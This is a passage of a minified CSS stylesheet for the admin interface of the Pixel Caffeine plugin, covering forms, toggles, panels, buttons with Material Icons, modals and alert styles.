.checkbox-material::before { top: 0; } .pixel-caffeine-wrapper .checkbox .checkbox-material .check { border-radius: 0; } .pixel-caffeine-wrapper .checkbox .text { display: block; } .pixel-caffeine-wrapper .multi-form-group:before, .pixel-caffeine-wrapper .multi-form-group:after { display: table; content: " "; } .pixel-caffeine-wrapper .multi-form-group:after { clear: both; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .multi-form-group .sub-form-group { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; float: right !important; } } @media screen and (min-width: 992px) and (min-width: 992px) { .pixel-caffeine-wrapper .multi-form-group .sub-form-group { float: left; width: 83.3333333333%; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .modal .multi-form-group .sub-form-group { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; padding-left: 0; padding-right: 0; } } @media screen and (min-width: 992px) and (min-width: 992px) { .pixel-caffeine-wrapper .modal .multi-form-group .sub-form-group { float: left; width: 100%; } } .pixel-caffeine-wrapper input { margin-top: 0; margin-left: 0; margin-right: 0; } .pixel-caffeine-wrapper .form-toggle { padding-top: 12px; padding-bottom: 20px; } .pixel-caffeine-wrapper .form-toggle .control-wrap { display: inline-block; vertical-align: middle; } .pixel-caffeine-wrapper .form-toggle .text-status { margin-top: 0.3em; } .pixel-caffeine-wrapper .togglebutton { display: inline-block; vertical-align: middle; padding-left: 15px; } .pixel-caffeine-wrapper .togglebutton label { margin-bottom: 0; } .pixel-caffeine-wrapper .togglebutton label input { position: absolute; } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle { background: rgba(104, 170, 32, 0.5); } .pixel-caffeine-wrapper .togglebutton label input[type=checkbox]:checked + .toggle::after { background: #68AA20; } .pixel-caffeine-wrapper .togglebutton.pending label input[type=checkbox] + .toggle { background: rgba(253, 156, 0, 0.5); } .pixel-caffeine-wrapper .togglebutton.pending label input[type=checkbox] + .toggle::after { background: #FD9C00; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .togglebutton, .pixel-caffeine-wrapper .form-inline .togglebutton { padding-left: 0; } } .pixel-caffeine-wrapper .form-horizontal .togglebutton, .pixel-caffeine-wrapper .form-inline .togglebutton { margin-top: 0.3em; } .pixel-caffeine-wrapper .form-control, .pixel-caffeine-wrapper .form-group .form-control { background-color: #f2f4fa; padding-left: 10px; padding-right: 10px; } .pixel-caffeine-wrapper .form-control::-moz-placeholder, .pixel-caffeine-wrapper .form-group .form-control::-moz-placeholder { font-weight: 300; } .pixel-caffeine-wrapper .form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .form-group .form-control:-ms-input-placeholder { font-weight: 300; } .pixel-caffeine-wrapper .form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .form-group .form-control::-webkit-input-placeholder { font-weight: 300; } .pixel-caffeine-wrapper .form-group-lg .form-control { font-size: 2em; } .pixel-caffeine-wrapper .form-group-lg.sub-panel { margin-top: 0; } .pixel-caffeine-wrapper .multiple-fields-actions .btn { margin-top: 0; margin-bottom: 0; } .pixel-caffeine-wrapper .form-inline .control-wrap { display: inline-block; width: auto; vertical-align: middle; margin-right: 10px; } .pixel-caffeine-wrapper .form-inline label.control-label { margin-right: 10px; } .pixel-caffeine-wrapper .form-inline .text { font-size: 14px; } .pixel-caffeine-wrapper .form-horizontal .control-label { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } @media (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .control-label { float: left; width: 16.6666666667%; } } .pixel-caffeine-wrapper .form-horizontal .control-wrap { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } @media (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .control-wrap { float: left; width: 83.3333333333%; } } .pixel-caffeine-wrapper .form-horizontal .control-label, .pixel-caffeine-wrapper .form-horizontal .data-group .data, .pixel-caffeine-wrapper .form-horizontal .control-wrap, .pixel-caffeine-wrapper .form-horizontal .data-group .value { padding-left: 0; padding-right: 0; } .pixel-caffeine-wrapper .form-horizontal .checkbox .checkbx-material { top: 10px; } .pixel-caffeine-wrapper .form-horizontal .list-filter { padding-top: 7px; } .pixel-caffeine-wrapper .form-horizontal .form-inline .control-wrap { float: none; width: auto; } .pixel-caffeine-wrapper .form-horizontal .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .multi-form-group .sub-form-group.form-vertical .form-group { padding-bottom: 20px; } .pixel-caffeine-wrapper .form-horizontal .multi-form-group .sub-form-group.form-vertical .control-label { padding-top: 0; margin-top: 0; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .form-group, .pixel-caffeine-wrapper .form-horizontal .data-group { padding-bottom: 20px; } .pixel-caffeine-wrapper .form-horizontal .control-label, .pixel-caffeine-wrapper .form-horizontal .data-group .data { padding-right: 15px; } .pixel-caffeine-wrapper .form-horizontal .form-group:not(.form-toggle) .control-label { margin-top: 0.3em; } .pixel-caffeine-wrapper .form-horizontal .control-wrap, .pixel-caffeine-wrapper .form-horizontal .data-group .data + .value { padding-left: 15px; } .pixel-caffeine-wrapper .form-horizontal .form-toggle { padding-top: 0; } .pixel-caffeine-wrapper .form-horizontal .form-inline .control-label { margin-right: 0; } .pixel-caffeine-wrapper .form-horizontal .help-block { position: absolute; margin-top: -5px; } .pixel-caffeine-wrapper .form-horizontal .has-error-long.has-error.form-group, .pixel-caffeine-wrapper .form-horizontal .has-error-long.has-error.data-group { padding-bottom: 0; } .pixel-caffeine-wrapper .form-horizontal .has-error-long.has-error .help-block { position: static; } .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .control-label, .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .data-group .data { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } } @media screen and (min-width: 992px) and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .control-label, .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .data-group .data { float: left; width: 16.6666666667%; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .control-wrap, .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .data-group .value { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } } @media screen and (min-width: 992px) and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .control-wrap, .pixel-caffeine-wrapper .form-horizontal .form-horizontal-inline .data-group .value { float: left; width: 83.3333333333%; } } .pixel-caffeine-wrapper .form-horizontal .data-group .data { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .data-group .data { float: left; width: 16.6666666667%; } } .pixel-caffeine-wrapper .form-horizontal .data-group .value { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .data-group .value { float: left; width: 83.3333333333%; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline.select-input { display: -webkit-box; display: -ms-flexbox; display: flex; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline.select-input .control-wrap:first-child { width: 25%; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline.select-input .control-wrap:last-child { width: 75%; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline .controls-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline .controls-wrap .control-wrap.w25 { width: 25%; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline .controls-wrap .control-wrap.w33 { width: 33%; } .pixel-caffeine-wrapper .form-horizontal .multiple-fields-inline .field-helper { margin-left: 16.6666667%; padding-left: 15px; } } .pixel-caffeine-wrapper .form-horizontal-inline .form-control, .pixel-caffeine-wrapper .form-horizontal-inline .text { display: inline-block; vertical-align: middle; } .pixel-caffeine-wrapper .form-horizontal-inline .form-control { width: auto; margin-right: 10px; } .pixel-caffeine-wrapper .form-horizontal-inline .checkbox.with-form-control .checkbox-material { top: 0.8em; } .pixel-caffeine-wrapper .form-horizontal-inline .form-radio .control-wrap { display: block; } @media screen and (min-width: 480px) { .pixel-caffeine-wrapper .form-horizontal-inline .form-radio .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; } } .pixel-caffeine-wrapper .form-horizontal-inline .form-radio label { text-align: left; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .form-control, .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-label, .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-wrap { width: 100%; text-align: left; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-label { width: auto; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-wrap { width: auto; margin: auto 0; padding: 0; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-wrap .form-control, .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-wrap .control-label { width: auto; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .form-control, .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .control-label { width: auto; } .pixel-caffeine-wrapper .form-horizontal-inline .multiple-fields-inline .select2-container.select2-container { display: inline-block !important; } } .pixel-caffeine-wrapper .form-vertical .form-group { padding-bottom: 8px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .form-vertical > .form-group > .control-label, .pixel-caffeine-wrapper .form-vertical > .form-group > .control-wrap, .pixel-caffeine-wrapper .form-vertical .multiple-fields { float: none; padding-left: 0; padding-right: 0; } .pixel-caffeine-wrapper .form-vertical .control-label { width: auto; text-align: left; } .pixel-caffeine-wrapper .form-vertical .control-wrap { width: 100%; } .pixel-caffeine-wrapper .form-vertical .multiple-fields .control-wrap { width: auto; } } .pixel-caffeine-wrapper .radio { margin-top: 10px; margin-bottom: 10px; } .pixel-caffeine-wrapper .input-group { margin-bottom: 10px; } .pixel-caffeine-wrapper .input-group .input-group-btn { padding-left: 0; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags { display: block; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags .input-group-btn, .pixel-caffeine-wrapper .input-group.select-and-multi-tags .select2-container { display: block !important; width: 100%; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags .input-group-btn { padding-right: 0; margin-bottom: 10px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .input-group.select-and-multi-tags { display: table; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags .input-group-btn, .pixel-caffeine-wrapper .input-group.select-and-multi-tags .select2-container { display: table-cell !important; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags .input-group-btn { width: auto; } .pixel-caffeine-wrapper .input-group.select-and-multi-tags .input-group-btn { vertical-align: top; padding-right: 15px; margin-bottom: 0; } } .pixel-caffeine-wrapper p { font-size: 14px; line-height: 1.428571429; } .pixel-caffeine-wrapper .jumbotron { background: #fff; padding: 35px; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .jumbotron .tit { margin-top: 0; margin-bottom: 20px; } .pixel-caffeine-wrapper .panel > .panel-heading, .pixel-caffeine-wrapper .panel > .panel-footer { background: #fff; } .pixel-caffeine-wrapper .panel .panel-footer:before, .pixel-caffeine-wrapper .panel .panel-footer:after { display: table; content: " "; } .pixel-caffeine-wrapper .panel .panel-footer:after { clear: both; } .pixel-caffeine-wrapper .panel .panel-footer .form-control { margin-bottom: 0; } .pixel-caffeine-wrapper .panel > .panel-heading { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: center; -webkit-box-align: center; align-items: center; -ms-flex-pack: space-between; -webkit-box-pack: justify; justify-content: space-between; border-bottom: 1px solid #ddd; } .pixel-caffeine-wrapper .panel > .panel-heading .text-status { display: block; text-transform: none; margin-top: 5px; } .pixel-caffeine-wrapper .panel .panel-heading { color: #444; text-transform: uppercase; } .pixel-caffeine-wrapper .panel .panel-heading .tit { display: inline-block; margin-top: 0.2em; margin-bottom: 0; font-size: 24px; } .pixel-caffeine-wrapper .panel .panel-heading .tit::before { margin-top: -0.2em; margin-right: 20px; color: #c4c4c4; font-size: 1.5em; } .pixel-caffeine-wrapper .panel .panel-heading .btn { margin: 0 0 0 10px; } .pixel-caffeine-wrapper .panel .panel-heading .form-group { padding: 0; } .pixel-caffeine-wrapper .panel .panel-heading .form-toggle { text-align: right; } .pixel-caffeine-wrapper .panel .panel-heading .form-toggle .toggle { margin-right: 6px; } .pixel-caffeine-wrapper .panel .panel-heading .form-toggle .text-status { font-style: italic; } .pixel-caffeine-wrapper .panel .panel-heading .form-toggle .control-label { padding-right: 0; } .pixel-caffeine-wrapper .panel .panel { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .panel .panel .panel-heading { padding: 0; } .pixel-caffeine-wrapper .panel .panel .panel-heading .tit { font-size: 20px; } .pixel-caffeine-wrapper .panel .panel .panel-heading .sub-tit { text-transform: none; font-size: 20px; } .pixel-caffeine-wrapper .panel .panel .panel-body { padding-left: 0; padding-right: 0; } .pixel-caffeine-wrapper .panel .panel .panel-heading { border-bottom: none; margin-top: 40px; } .pixel-caffeine-wrapper .panel .panel .panel-heading::before { font-size: 2.5em; } .pixel-caffeine-wrapper .panel .panel .form-group { margin-top: 0; padding-bottom: 0; } .pixel-caffeine-wrapper .modal .panel { -webkit-box-shadow: none; box-shadow: none; margin-top: 40px; } .pixel-caffeine-wrapper .modal .panel-body { padding: 0; } .pixel-caffeine-wrapper .modal .panel-heading { border: 0; padding: 10px 0; } .pixel-caffeine-wrapper .modal .panel-heading .tit { font-size: 16px; } .pixel-caffeine-wrapper .modal .panel-heading .tit::before { margin-right: 5px; } .pixel-caffeine-wrapper .sub-panel .tit { font-size: 20px; } .pixel-caffeine-wrapper .panel.disabled, .pixel-caffeine-wrapper .sub-panel.disabled { background: #fafafa; color: #b7b7b7; } .pixel-caffeine-wrapper .panel.disabled .divider, .pixel-caffeine-wrapper .sub-panel.disabled .divider { background: #fafafa; } .pixel-caffeine-wrapper .panel.disabled .btn-help, .pixel-caffeine-wrapper .sub-panel.disabled .btn-help { color: inherit; } .pixel-caffeine-wrapper .table th { text-transform: uppercase; } .pixel-caffeine-wrapper .table td { word-break: break-word; } .pixel-caffeine-wrapper .table .url { max-width: 50vw; } .pixel-caffeine-wrapper .table .actions { text-align: center; } .pixel-caffeine-wrapper .table .actions .btn { margin: 5px; } .pixel-caffeine-wrapper .table .info-extra { display: block; color: #919191; } @media screen and (min-width: 767px) { .pixel-caffeine-wrapper .table .btn-group, .pixel-caffeine-wrapper .table .btn-group-sm { min-width: 130px; text-align: center; } } .pixel-caffeine-wrapper .pagination > .active > a, .pixel-caffeine-wrapper .pagination > .active > a:hover, .pixel-caffeine-wrapper .pagination > .active > a:focus, .pixel-caffeine-wrapper .pagination > .active > span, .pixel-caffeine-wrapper .pagination > .active > span:hover, .pixel-caffeine-wrapper .pagination > .active > span:focus { background-color: #4C70BA; border-color: #4C70BA; } .pixel-caffeine-wrapper .pagination > li > a, .pixel-caffeine-wrapper .pagination .pagination > li > span { color: #4C70BA; } .pixel-caffeine-wrapper .btn, .pixel-caffeine-wrapper .input-group-btn .btn { padding: 8px 30px; } .pixel-caffeine-wrapper .btn:not(.btn-fab), .pixel-caffeine-wrapper .btn:not(.btn-raised), .pixel-caffeine-wrapper .btn:not(.btn-naked), .pixel-caffeine-wrapper .btn.btn-fab.btn-default, .pixel-caffeine-wrapper .btn.btn-raised.btn-default { background: #f2f2f2; } .pixel-caffeine-wrapper .btn:not(.btn-fab):hover, .pixel-caffeine-wrapper .btn:not(.btn-raised):hover, .pixel-caffeine-wrapper .btn:not(.btn-naked):hover, .pixel-caffeine-wrapper .btn.btn-fab.btn-default:hover, .pixel-caffeine-wrapper .btn.btn-raised.btn-default:hover { background: #e6e6e6; } .pixel-caffeine-wrapper .btn::before { font-size: 24px; } .pixel-caffeine-wrapper .btn:not(.btn-primary) :not(.btn-success) :not(.btn-info) :not(.btn-warning) :not(.btn-danger) :not(.active)::before { color: #444; } .pixel-caffeine-wrapper .btn.btn-primary.btn-raised:not(.btn-link), .pixel-caffeine-wrapper .btn.btn-success.btn-raised:not(.btn-link), .pixel-caffeine-wrapper .btn.btn-info.btn-raised:not(.btn-link), .pixel-caffeine-wrapper .btn.btn-warning.btn-raised:not(.btn-link), .pixel-caffeine-wrapper .btn.btn-danger.btn-raised:not(.btn-link) { color: #FFF; } .pixel-caffeine-wrapper .btn.btn-primary.btn-fab:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-primary.btn-raised:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-success.btn-fab:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-success.btn-raised:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-info.btn-fab:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-info.btn-raised:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-warning.btn-fab:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-warning.btn-raised:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-danger.btn-fab:not(.btn-link)::before, .pixel-caffeine-wrapper .btn.btn-danger.btn-raised:not(.btn-link)::before { color: #FFF; } .pixel-caffeine-wrapper .btn.btn-primary.btn-fab:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-primary.btn-fab:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-success.btn-fab:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-success.btn-fab:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-info.btn-fab:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-info.btn-fab:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-warning.btn-fab:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-warning.btn-fab:not(.btn-link):focus, .pixel-caffeine-wrapper .btn.btn-danger.btn-fab:not(.btn-link):hover, .pixel-caffeine-wrapper .btn.btn-danger.btn-fab:not(.btn-link):focus { background: currentColor; -webkit-box-shadow: 0 0 10px currentColor; box-shadow: 0 0 10px currentColor; } .pixel-caffeine-wrapper .btn.disabled { pointer-events: none; } .pixel-caffeine-wrapper .btn:not(:empty):not(.btn-fab)::before { margin-right: 0.4em; } .pixel-caffeine-wrapper .btn.btn-naked { background: transparent; -webkit-box-shadow: none; box-shadow: none; color: #777777; } .pixel-caffeine-wrapper .btn.btn-naked.btn-raised { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn.btn-naked.btn-raised:hover { background: #e6e6e6; } .pixel-caffeine-wrapper .btn.btn-fab, .pixel-caffeine-wrapper .btn.btn-fab.btn-default { -webkit-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .pixel-caffeine-wrapper .btn.btn-fab::before, .pixel-caffeine-wrapper .btn.btn-fab.btn-default::before { position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-12px, -12px); -o-transform: translate(-12px, -12px); transform: translate(-12px, -12px); line-height: 24px; width: 24px; font-size: 24px; } .pixel-caffeine-wrapper .btn.btn-fab .ripple.ripple-on, .pixel-caffeine-wrapper .btn.btn-fab.btn-default .ripple.ripple-on { opacity: 0.3; } .pixel-caffeine-wrapper .btn.btn-fab .ripple.ripple-out, .pixel-caffeine-wrapper .btn.btn-fab.btn-default .ripple.ripple-out { opacity: 0; } .pixel-caffeine-wrapper .btn-group-sm .btn.btn-fab, .pixel-caffeine-wrapper .btn.btn-fab.btn-fab-mini { padding: 0; width: 28px; min-width: 28px; height: 28px; } .pixel-caffeine-wrapper .btn-group-sm .btn.btn-fab::before, .pixel-caffeine-wrapper .btn.btn-fab.btn-fab-mini::before { -webkit-transform: translate(-14px, -14px); -o-transform: translate(-14px, -14px); transform: translate(-14px, -14px); line-height: 28px; width: 28px; font-size: 16px; } .pixel-caffeine-wrapper .btn.btn-fab.btn-primary { background: #4C70BA; color: #4C70BA; } .pixel-caffeine-wrapper .btn.btn-fab.btn-success { background: #68AA20; color: #68AA20; } .pixel-caffeine-wrapper .btn.btn-fab.btn-info { background: #5bc0de; color: #5bc0de; } .pixel-caffeine-wrapper .btn.btn-fab.btn-warning { background: #FD9C00; color: #FD9C00; } .pixel-caffeine-wrapper .btn.btn-fab.btn-danger { background: #E15667; color: #E15667; } .pixel-caffeine-wrapper .btn.btn-delete::before { content: "delete"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-clone::before { content: "queue"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-edit::before { content: "mode_edit"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-include::before { content: "add_circle_outline"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-exclude::before { content: "remove_circle_outline"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-sync::before { content: "sync"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-refresh::before { content: "refresh"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-help { background: transparent; -webkit-box-shadow: none; box-shadow: none; color: #777777; } .pixel-caffeine-wrapper .btn.btn-help::before { content: "help_outline"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn-config::before { content: "build"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn-save::before { content: "save"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn-apply::before { content: "check"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn-back::before { content: "keyboard_arrow_left"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .btn.btn-fb-connect { padding-top: 12px; padding-bottom: 12px; white-space: normal; font-weight: 600; line-height: 1.2em; } .pixel-caffeine-wrapper .btn.btn-fb-connect::before { content: ""; display: inline-block; vertical-align: middle; width: 20px; height: 20px; background: url(icon-fb.svg) no-repeat; background-size: contain; margin: -4px 0.5em 0 0; } .pixel-caffeine-wrapper .btn.btn-fb-connect[disabled], .pixel-caffeine-wrapper .btn.btn-fb-connect[disabled]:hover { background: #4C70BA; color: #FFF; } .pixel-caffeine-wrapper .btn-save.btn-plugin, .pixel-caffeine-wrapper .btn-config { font-size: 2em; } .pixel-caffeine-wrapper .panel-footer .btn-save.btn-plugin { float: right; font-size: 1.5em; } .pixel-caffeine-wrapper .btn-config::before, .pixel-caffeine-wrapper .btn-save::before { margin-right: 10px; font-size: 2em; } .pixel-caffeine-wrapper .btn-group-toggle .btn { text-align: center; } .pixel-caffeine-wrapper .btn-group-toggle .btn.active, .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link).active, .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link).hover, .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link):focus.active, .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link):focus.active:hover { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .btn-group-toggle .btn.btn.active, .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link).active { color: #FFF; background: #4C70BA; } .pixel-caffeine-wrapper .btn-group-toggle .btn.btn-raised:not(.btn-link):focus.active:hover { background: #718dc8; } .pixel-caffeine-wrapper .tooltip-inner { padding: 5px 8px; } .pixel-caffeine-wrapper .modal { background: rgba(76, 112, 186, 0.5); z-index: 9990; } .pixel-caffeine-wrapper .modal .modal-header .modal-title { padding-top: 10px; text-transform: uppercase; } .pixel-caffeine-wrapper .modal .modal-header .close { margin-left: 10px; font-size: 3em; font-weight: normal; } .pixel-caffeine-wrapper .modal .modal-body, .pixel-caffeine-wrapper .modal .modal-footer { padding-left: 24px; padding-right: 24px; } .pixel-caffeine-wrapper .modal .modal-footer { padding-bottom: 24px; } .pixel-caffeine-wrapper .alert .close { opacity: 0.5; } .pixel-caffeine-wrapper .alert a, .pixel-caffeine-wrapper .alert .alert-link { color: inherit; text-decoration: underline; } .pixel-caffeine-wrapper .alert a:hover, .pixel-caffeine-wrapper .alert .alert-link:hover { opacity: 0.8; } .pixel-caffeine-wrapper .alert a.btn { text-decoration: none; } .pixel-caffeine-wrapper .alert a.btn:hover { opacity: 1; } .pixel-caffeine-wrapper .alert.alert-warning { background: #ffb031; color: #975d00; } .pixel-caffeine-wrapper .alert.alert-warning a, .pixel-caffeine-wrapper .alert.alert-warning .alert-link { color: inherit; } .pixel-caffeine-wrapper .alert.alert-lite { background: none; padding: 0 0 0 1.8em; position: relative; font-size: 0.9em; margin-bottom: 10px; } .pixel-caffeine-wrapper .alert.alert-lite::before { position: absolute; top: 0; left: 0; font-size: 1.4em; } .pixel-caffeine-wrapper .alert.alert-lite.alert-warning { color: #e48c00; } .pixel-caffeine-wrapper .alert.alert-lite.alert-warning::before { content: "warning"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .alert.alert-lite.alert-danger { color: #E15667; } .pixel-caffeine-wrapper .alert.alert-lite.alert-danger::before { content: "error"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .alert.alert-lite.alert-success { color: #68AA20; } .pixel-caffeine-wrapper .alert.alert-lite.alert-success::before { content: "check"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .alert.alert-lite.alert-info { color: #5bc0de; } .pixel-caffeine-wrapper .alert.alert-lite.alert-info::before { content: "info"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper 